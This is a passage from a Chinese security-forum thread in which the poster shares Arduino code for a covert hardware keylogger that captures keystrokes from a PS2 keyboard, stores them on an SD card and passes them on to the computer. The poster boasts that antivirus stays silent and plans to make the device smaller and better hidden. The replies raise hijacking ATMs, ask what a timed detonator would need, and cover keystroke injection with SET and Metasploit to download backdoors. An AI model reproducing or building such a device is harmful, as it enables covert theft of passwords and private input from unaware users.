& && && && && & if(recordTemp.length()&27) //为了优化记录速度,recordTemp每截获20个字符才写入record.txt文件一次(包含了开头的,所以是27),这个值可以任意设置
& && && && && & {
& && && && && && &if (RecordFile)
& && && && && && &{
& && && && && && && &recordTemp.concat(&&);
& && && && && && && &RecordFile.println(recordTemp);
& && && && && && && &RecordFile.close();
& && && && && && && &Serial.println(&Writing to file done.&); //到达20个字符后保存并关闭文件
& && && && && && &} else {
& && && && && && && &Serial.println(&Error writing file.&);
& && && && && && &}
& && && && && && &recordTemp=&&; //保存后重新打开,开始下一轮记录,recordTemp值复位
& && && && && && &RecordFile = SD.open(&record.txt&, FILE_WRITE);
& && && && && & }else
& && && && && & {
& && && && && && &recordTemp.concat(c);//如果不满20个字符,则将记录的键加入recordTemp之后
& && && && && & }
& && && && && & KeyPress(c);//监听完后把按键信号发送到计算机
& && && & }
void KeyPress(char c)//按键函数
& & Keyboard.press(c);
& & delay(50);
& & Keyboard.release(c);
}把上面的程序编译并下载到arduino运行,键盘输入的字符被成功的记录到了SD卡中,而杀毒软件没有任何的反应:
0x06 需要改进的地方
1. 实现的功能键还不完整,比如三键组合还没实现,需要进一步开发.
2. 不能一直用杜邦线连接PS2口,这样既不方便也不隐蔽,下一步要用PS2母口连接.
3. 目前是从PS2输入,连接计算机是USB输出,下一步要实现连接计算机也用PS2.
4. 体积还有点大,正在研究用U盘大小的Arduino pro mini替换leonardo.
[远去的女神]
  在又一个阳光明媚的周末,刘尼玛随着晨练的人群来到了江边,今天组织将派人与他接头,交给他所需要的东西,接头人代号叫冷爱。刘尼玛一边在江边踱着步,一边焦急的等待,这时,一辆黑色的轿车缓缓停在了不远处,从车上下来一位身穿紧身皮衣,高挑性感的美女,径直走向了刘尼玛,刘尼玛的心砰砰直跳,他用一只手捂着鼻子,防止鼻血喷出来,另一只手放在了胸口。
  “你穿什么样的内裤?” 美女来到刘尼玛的身边,冷冷的问道,这是约好的接头暗号。
  “粉红色的平角裤头。” 刘尼玛回答道。
  美女点了点头,把手中的一个小盒子交给了刘尼玛,刘尼玛心里狂喜着:“原来冷爱是个大美女啊,待会要想办法约她吃饭。”
  不料冷爱送完盒子转身就走,连头也不回,刘尼玛想要叫住她,她已经上了车,扬长而去….,留下怅然若失的刘尼玛一个人在江边站了良久。
本文涉及到的源代码和本文的word版下载地址:
/d/mw6yCnAUGKgMUwQAf11
让我想到了前段时间国外传说的某黑阔银行盗窃伪装成技术员安装硬件记录器的事。原来冷爱是个大美女啊 ;P
这和龚蔚大神那篇入侵atm机有的一拼了。既然键盘消息能劫持到,那银行atm机器也应该可以劫持的到了。(bk开门查水表的来了)。
一直想入手玩一下arduino。可惜没钱,最近也没时间去玩。不知道做一个定时引爆器需要什么材料。
.-- --- --.. .- .. .-.. .- --- -.. .. ..-. .- -. --. -.. . -. --. -. ..
不得 不说冷爱中枪了& &哈哈下次会不会是我& &:lol& & 我还是隐藏一下吧& &力挺b41& &膜拜!!
-_______翟一志
:'(大牛!!!! 学习。。
单纯的键盘记录我觉得没有必要记录过多的功能键,shift足矣
像B41大牛说的,这东东确实有点大,实施窃取之前还必须能接触到机器,而且如果电脑出了什么问题检查一下就很容易发现,这个是个致命伤。
一直很喜欢这种从原理上开始讲的帖子,果断+20!!
本帖最后由 b41k3r 于
01:07 编辑
尛潴 发表于
00:21 static/image/common/back.gif
单纯的键盘记录我觉得没有必要记录过多的功能键,shift足矣
像B41大牛说的,这东东确实有点大,实施窃取之 ...
回复小猪并对此贴做一些补充:
1. 之所以实现这么多快捷键的目的不是为了记录,而是为了模拟真的键盘,这种硬件记录器,按的键在截取之后,最终还是要发送到计算机的,所以最麻烦的一点是用户所有可能的组合键你最好都实现,否则人家按下快捷键结果没反应,可能会认为是键盘故障从而发现问题。
2. 体积的问题其实很好解决,因为这个东西一开始本来是准备用Teensy做的,teensy可以看做是arduino的儿子,只有U盘大小,它的sd卡模块也只有小硬币的体积,只是因为我手头没有Teensy,最后用了arduino,实际上Teensy和arduino使用一样的开发环境、一样的函数库,所以代码大部分通用,故而我帖子里的这些程序稍事修改,就可以用于Teensy.
3. 其实这项技术不止用于键盘记录器,通过模拟按下一系列快捷键,可以在计算机上运行各种操作,下载后门什么的都很容易,国外已经有成熟的工具包,名叫Social Engineering Toolkit,简称set,配合Metasploit使用会有很大的威力,可以通过模拟按键自动下载各种脚本并运行,这个网上已经有很多介绍,感兴趣的可以自己搜索,只是这些网上的教程无一例外都是点这点那下一步的白痴操作,基本没有涉及原理,所以希望这篇东西能让大家从根本上了解这个国外安全界现在很火的领域.
查看完整版本:

我要回帖

更多关于 机械键盘灯不知道哪开 的文章

 

随机推荐